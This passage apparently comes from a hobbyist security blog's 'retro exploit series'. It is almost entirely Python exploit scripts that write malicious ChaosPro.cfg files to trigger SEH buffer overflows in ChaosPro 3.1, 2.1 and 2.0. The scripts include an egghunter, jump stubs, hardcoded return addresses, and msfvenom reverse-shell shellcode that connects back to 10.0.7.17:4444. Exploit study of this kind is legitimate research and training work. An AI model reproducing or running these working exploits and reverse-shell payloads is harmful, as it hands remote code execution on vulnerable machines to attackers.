# 74 5a 05 3c
# good
junk += zero_eax 
junk += "\x2d\x8f\x8e\x8d\x89"
junk += "\x2d\x34\x6b\x17\x01"
junk += "\x2d\x01\x01\x01\x01"
junk += push_eax

# sixth section into the stack
# 2e cd 58 53
# good 
junk += zero_eax 
junk += "\x2d\x8f\x8e\x8d\x8c"
junk += "\x2d\x1d\x18\x8e\x43"
junk += "\x2d\x01\x01\x17\x01"
junk += push_eax

# seventh section into the stack
# 43 43 db 31
# good
junk += zero_eax 
junk += "\x2d\x8f\x8e\x8d\x8c"
junk += "\x2d\x3e\x7f\x2d\x2d"
junk += "\x2d\x02\x17\x01\x03"
junk += push_eax

junk += "A" * (
	126 # amount of room before we need to jump
	
	- 3 # baby nopsled
	
	 # part one of fourth set of bytes going onto the stack
	- len(zero_eax)		
	
	# part two of fourth sec of bytes going onto the stack
	- 15
	- len(push_eax)
	
	  # fifth set of bytes going onto the stack
	- len(zero_eax)
	- 15
	- len(push_eax)
	
	  # sixth set of bytes going onto the stack
	- len(zero_eax)
	- 15
	- len(push_eax)

	  # seventh set of bytes going onto the stack
	- len(zero_eax)
	- 15
	- len(push_eax)	
	
	- 4 # baby nopsled		
	- len(jmpback80)
)

# Second Jump Backwards 0xFF - 0x80 bytes (0x7F or 127)
junk += jmpforward06
junk += jmpback80

# baby nopsled
junk += "AAAA"

# eighth section into the stack part two
# 52 42 0f ff
# good
# eighth section into the stack part one
junk += zero_eax 
junk += "\x2d\x65\x65\x75\x75"
junk += "\x2d\x65\x65\x25\x25"
junk += "\x2d\x37\x25\x23\x13"
junk += push_eax

# ninth section into the stack
# ca 81 66 43
# good
junk += zero_eax 
junk += "\x2d\x8f\x81\x7c\x7b"
junk += "\x2d\x2d\x17\x01\x8f"
junk += "\x2d\x01\x01\x01\x2b"
junk += push_eax

junk += "A" * (
	126 # amount of room before we need to jump
	
	- len(jmpback80)
	
	- 4 # baby nopsled

	# eighth set of bytes going onto the stack
	# eighth section
	- len(zero_eax)
	- 15
	- len(push_eax)	
	
	# ninth set of bytes going onto the stack
	- len(zero_eax)
	- 15
	- len(push_eax)
	
	- len(jmpforward06)
)

# First Jump Backwards 0xFF - 0x80 bytes (0x7F or 127)
junk += jmpforward06
junk += jmpback80

#seh address for pop, pop and ret with a 0x00 at the end ... 
junk += "\x5d\x10\x40"

# write the evil file
with open('C:\\Program Files\\ChaosPro3.1\\ChaosPro.cfg', 'w') as the_file:
    the_file.write(junk)
		



ChaosPro 2.1

#!C:\Python27\python.exe

# Title     : ChaosPro 2.1
# Twitter   : @securitychops
# Blog Post : https://securitychops.com/2019/08/24/retro-exploit-series-episode-one-chaospro-3-1.html

# our egg!
payload = "T00WT00W"

#the payload
payload += (
# msfvenom -p windows/shell_reverse_tcp LHOST=10.0.7.17 
# LPORT=4444 -e x86/alpha_upper -a x86 --platform windows -f c -b '\x00'
"\x89\xe1\xdb\xd7\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4c\x42\x53\x30"
"\x33\x30\x43\x30\x55\x30\x4b\x39\x4b\x55\x46\x51\x4f\x30\x32"
"\x44\x4c\x4b\x56\x30\x56\x50\x4c\x4b\x46\x32\x54\x4c\x4c\x4b"
"\x50\x52\x45\x44\x4c\x4b\x34\x32\x37\x58\x44\x4f\x4f\x47\x30"
"\x4a\x36\x46\x30\x31\x4b\x4f\x4e\x4c\x47\x4c\x45\x31\x43\x4c"
"\x44\x42\x56\x4c\x47\x50\x4f\x31\x58\x4f\x34\x4d\x45\x51\x39"
"\x57\x4b\x52\x4c\x32\x56\x32\x31\x47\x4c\x4b\x46\x32\x32\x30"
"\x4c\x4b\x50\x4a\x47\x4c\x4c\x4b\x30\x4c\x32\x31\x52\x58\x4b"
"\x53\x31\x58\x53\x31\x4e\x31\x36\x31\x4c\x4b\x50\x59\x37\x50"
"\x45\x51\x58\x53\x4c\x4b\x47\x39\x35\x48\x4d\x33\x37\x4a\x30"
"\x49\x4c\x4b\x57\x44\x4c\x4b\x53\x31\x49\x46\x46\x51\x4b\x4f"
"\x4e\x4c\x39\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37\x36\x58\x4d"
"\x30\x33\x45\x4a\x56\x43\x33\x43\x4d\x4c\x38\x57\x4b\x43\x4d"
"\x56\x44\x42\x55\x5a\x44\x31\x48\x4c\x4b\x46\x38\x31\x34\x35"
"\x51\x4e\x33\x35\x36\x4c\x4b\x34\x4c\x30\x4b\x4c\x4b\x56\x38"
"\x45\x4c\x55\x51\x38\x53\x4c\x4b\x54\x44\x4c\x4b\x45\x51\x38"
"\x50\x4d\x59\x51\x54\x46\x44\x56\x44\x31\x4b\x31\x4b\x43\x51"
"\x31\x49\x50\x5a\x30\x51\x4b\x4f\x4b\x50\x51\x4f\x31\x4f\x51"
"\x4a\x4c\x4b\x32\x32\x4a\x4b\x4c\x4d\x31\x4d\x42\x48\x47\x43"
"\x57\x42\x53\x30\x55\x50\x35\x38\x53\x47\x43\x43\x30\x32\x31"
"\x4f\x31\x44\x33\x58\x30\x4c\x33\x47\x57\x56\x54\x47\x4b\x4f"
"\x49\x45\x48\x38\x4a\x30\x35\x51\x43\x30\x35\x50\x56\x49\x59"
"\x54\x36\x34\x36\x30\x52\x48\x56\x49\x4b\x30\x52\x4b\x35\x50"
"\x4b\x4f\x59\x45\x30\x50\x56\x30\x56\x30\x46\x30\x51\x50\x36"
"\x30\x57\x30\x46\x30\x55\x38\x4a\x4a\x54\x4f\x39\x4f\x4b\x50"
"\x4b\x4f\x39\x45\x4d\x47\x42\x4a\x35\x55\x52\x48\x45\x5a\x53"
"\x30\x33\x37\x34\x51\x52\x48\x45\x52\x53\x30\x54\x51\x31\x4c"
"\x4d\x59\x5a\x46\x32\x4a\x52\x30\x50\x56\x46\x37\x32\x48\x5a"
"\x39\x59\x35\x54\x34\x43\x51\x4b\x4f\x39\x45\x4d\x55\x49\x50"
"\x33\x44\x44\x4c\x4b\x4f\x30\x4e\x44\x48\x43\x45\x5a\x4c\x35"
"\x38\x4c\x30\x48\x35\x4f\x52\x36\x36\x4b\x4f\x49\x45\x55\x38"
"\x52\x43\x52\x4d\x52\x44\x43\x30\x4b\x39\x4b\x53\x56\x37\x46"
"\x37\x31\x47\x50\x31\x4a\x56\x33\x5a\x42\x32\x51\x49\x46\x36"
"\x4b\x52\x4b\x4d\x53\x56\x4f\x37\x51\x54\x57\x54\x37\x4c\x53"
"\x31\x43\x31\x4c\x4d\x50\x44\x31\x34\x34\x50\x58\x46\x55\x50"
"\x30\x44\x31\x44\x30\x50\x30\x56\x50\x56\x50\x56\x30\x46\x36"
"\x36\x50\x4e\x31\x46\x50\x56\x50\x53\x31\x46\x43\x58\x52\x59"
"\x58\x4c\x47\x4f\x4b\x36\x4b\x4f\x49\x45\x4d\x59\x4d\x30\x50"
"\x4e\x30\x56\x57\x36\x4b\x4f\x36\x50\x45\x38\x44\x48\x4c\x47"
"\x35\x4d\x45\x30\x4b\x4f\x49\x45\x4f\x4b\x5a\x50\x48\x35\x59"
"\x32\x30\x56\x42\x48\x4e\x46\x4a\x35\x4f\x4d\x4d\x4d\x4b\x4f"
"\x4e\x35\x37\x4c\x54\x46\x53\x4c\x54\x4a\x4d\x50\x4b\x4b\x4b"
"\x50\x52\x55\x33\x35\x4f\x4b\x31\x57\x54\x53\x54\x32\x32\x4f"
"\x43\x5a\x33\x30\x31\x43\x4b\x4f\x4e\x35\x41\x41"
)

#this needs to be a backwards jump to give us room to call stack jump code
jmpbackD0         = "\x40\x75\xD0\x75"
jmpforward06      = "\x40\x75\x06\x75"

# 16 byte shellcode from: https://www.exploit-db.com/exploits/43773/
opencalc          = "\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"

# our egghunter shellcode
egghunter = ( 
"\x66\x81\xca\xff\x0f\x42\x52\x31\xdb\x43"
"\x43\x53\x58\xcd\x2e\x3c\x05\x5a\x74\xec"
"\xb8\x54\x30\x30\x57\x89\xd7\xaf\x75\xe7"
"\xaf\x75\xe4\xff\xe7"
)

#line containing our payload
line_start = "Username "
line_start += payload + "\n"

#line with our overflow
line_start += "ProjectPath "
junk = line_start

junk += "A" * (2569 - 118 - len(jmpforward06) - len(jmpbackD0))

junk += "A" * (118 - len(egghunter))

# open calc
junk += egghunter

# First Jump Backwards 0xFF - 0x80 bytes (0x7F or 127)
junk += jmpforward06
junk += jmpbackD0

#seh address for pop, pop and ret with a 0x00 at the end ... 
junk += "\xab\x11\x40"

# write the evil file
with open('C:\\Program Files\\ChaosPro2.1\\ChaosPro.cfg', 'w') as the_file:
    the_file.write(junk)



ChaosPro 2.0

#!C:\Python27\python.exe

# Title     : ChaosPro 2.0
# Twitter   : @securitychops
# Blog Post : https://securitychops.com/2019/08/24/retro-exploit-series-episode-one-chaospro-3-1.html

#this needs to be a backwards jump to give us room to call stack jump code
jmpback80         = "\x40\x75\x80\x75"
jmpforward06      = "\x40\x75\x06\x75"

# our egghunter shellcode
egghunter = ( 
"\x66\x81\xca\xff\x0f\x42\x52\x31\xdb\x43"
"\x43\x53\x58\xcd\x2e\x3c\x05\x5a\x74\xec"
"\xb8\x54\x30\x30\x57\x89\xd7\xaf\x75\xe7"
"\xaf\x75\xe4\xff\xe7"
)

# our egg!
payload = "T00WT00W"

#the payload
payload += (
# msfvenom -p windows/shell_reverse_tcp LHOST=10.0.7.17 
# LPORT=4444 -e x86/alpha_upper -a x86 --platform windows -f c -b '\x00'
"\x89\xe1\xdb\xd7\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4c\x42\x53\x30"
"\x33\x30\x43\x30\x55\x30\x4b\x39\x4b\x55\x46\x51\x4f\x30\x32"
"\x44\x4c\x4b\x56\x30\x56\x50\x4c\x4b\x46\x32\x54\x4c\x4c\x4b"
"\x50\x52\x45\x44\x4c\x4b\x34\x32\x37\x58\x44\x4f\x4f\x47\x30"
"\x4a\x36\x46\x30\x31\x4b\x4f\x4e\x4c\x47\x4c\x45\x31\x43\x4c"
"\x44\x42\x56\x4c\x47\x50\x4f\x31\x58\x4f\x34\x4d\x45\x51\x39"
"\x57\x4b\x52\x4c\x32\x56\x32\x31\x47\x4c\x4b\x46\x32\x32\x30"
"\x4c\x4b\x50\x4a\x47\x4c\x4c\x4b\x30\x4c\x32\x31\x52\x58\x4b"
"\x53\x31\x58\x53\x31\x4e\x31\x36\x31\x4c\x4b\x50\x59\x37\x50"
"\x45\x51\x58\x53\x4c\x4b\x47\x39\x35\x48\x4d\x33\x37\x4a\x30"
"\x49\x4c\x4b\x57\x44\x4c\x4b\x53\x31\x49\x46\x46\x51\x4b\x4f"
"\x4e\x4c\x39\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37\x36\x58\x4d"
"\x30\x33\x45\x4a\x56\x43\x33\x43\x4d\x4c\x38\x57\x4b\x43\x4d"
"\x56\x44\x42\x55\x5a\x44\x31\x48\x4c\x4b\x46\x38\x31\x34\x35"
"\x51\x4e\x33\x35\x36\x4c\x4b\x34\x4c\x30\x4b\x4c\x4b\x56\x38"
"\x45\x4c\x55\x51\x38\x53\x4c\x4b\x54\x44\x4c\x4b\x45\x51\x38"
"\x50\x4d\x59\x51\x54\x46\x44\x56\x44\x31\x4b\x31\x4b\x43\x51"
"\x31\x49\x50\x5a\x30\x51\x4b\x4f\x4b\x50\x51\x4f\x31\x4f\x51"
"\x4a\x4c\x4b\x32\x32\x4a\x4b\x4c\x4d\x31\x4d\x42\x48\x47\x43"
"\x57\x42\x53\x30\x55\x50\x35\x38\x53\x47\x43\x43\x30\x32\x31"
"\x4f\x31\x44\x33\x58\x30\x4c\x33\x47\x57\x56\x54\x47\x4b\x4f"
"\x49\x45\x48\x38\x4a\x30\x35\x51\x43\x30\x35\x50\x56\x49\x59"
"\x54\x36\x34\x36\x30\x52\x48\x56\x49\x4b\x30\x52\x4b\x35\x50"
"\x4b\x4f\x59\x45\x30\x50\x56\x30\x56\x30\x46\x30\x51\x50\x36"
"\x30\x57\x30\x46\x30\x55\x38\x4a\x4a\x54\x4f\x39\x4f\x4b\x50"
"\x4b\x4f\x39\x45\x4d\x47\x42\x4a\x35\x55\x52\x48\x45\x5a\x53"
"\x30\x33\x37\x34\x51\x52\x48\x45\x52\x53\x30\x54\x51\x31\x4c"
"\x4d\x59\x5a\x46\x32\x4a\x52\x30\x50\x56\x46\x37\x32\x48\x5a"
"\x39\x59\x35\x54\x34\x43\x51\x4b\x4f\x39\x45\x4d\x55\x49\x50"
"\x33\x44\x44\x4c\x4b\x4f\x30\x4e\x44\x48\x43\x45\x5a\x4c\x35"
"\x38\x4c\x30\x48\x35\x4f\x52\x36\x36\x4b\x4f\x49\x45\x55\x38"
"\x52\x43\x52\x4d\x52\x44\x43\x30\x4b\x39\x4b\x53\x56\x37\x46"
"\x37\x31\x47\x50\x31\x4a\x56\x33\x5a\x42\x32\x51\x49\x46\x36"
"\x4b\x52\x4b\x4d\x53\x56\x4f\x37\x51\x54\x57\x54\x37\x4c\x53"
"\x31\x43\x31\x4c\x4d\x50\x44\x31\x34\x34\x50\x58\x46\x55\x50"
"\x30\x44\x31\x44\x30\x50\x30\x56\x50\x56\x50\x56\x30\x46\x36"
"\x36\x50\x4e\x31\x46\x50\x56\x50\x53\x31\x46\x43\x58\x52\x59"
"\x58\x4c\x47\x4f\x4b\x36\x4b\x4f\x49\x45\x4d\x59\x4d\x30\x50"
"\x4e\x30\x56\x57\x36\x4b\x4f\x36\x50\x45\x38\x44\x48\x4c\x47"
"\x35\x4d\x45\x30\x4b\x4f\x49\x45\x4f\x4b\x5a\x50\x48\x35\x59"
"\x32\x30\x56\x42\x48\x4e\x46\x4a\x35\x4f\x4d\x4d\x4d\x4b\x4f"
"\x4e\x35\x37\x4c\x54\x46\x53\x4c\x54\x4a\x4d\x50\x4b\x4b\x4b"
"\x50\x52\x55\x33\x35\x4f\x4b\x31\x57\x54\x53\x54\x32\x32\x4f"
"\x43\x5a\x33\x30\x31\x43\x4b\x4f\x4e\x35\x41\x41"
)

#line containing our payload
line_start = "Username "
line_start += payload + "\n"

#line with our overflow
line_start += "ProjectPath "
junk = line_start

junk += "A" * (2705 - len(jmpforward06) - len(jmpback80) - len(egghunter))

# our egghunter ... 
junk += egghunter

# First Jump Backwards 0xFF - 0x80 bytes (0x7F or 127)
junk += jmpforward06
junk += jmpback80

#seh address for pop, pop and ret with a 0x00 at the end ... 
junk += "\x50\x49\x40"

# write the evil file
with open('C:\\Documents and Settings\\Administrator\\My Documents\\Downloads\\cpro20\\ChaosPro.cfg', 'w') as the_file:
    the_file.write(junk)

Jonathan Crosby

growing my chops in cybersecurity
(all opinions are my own and not the views of my employer)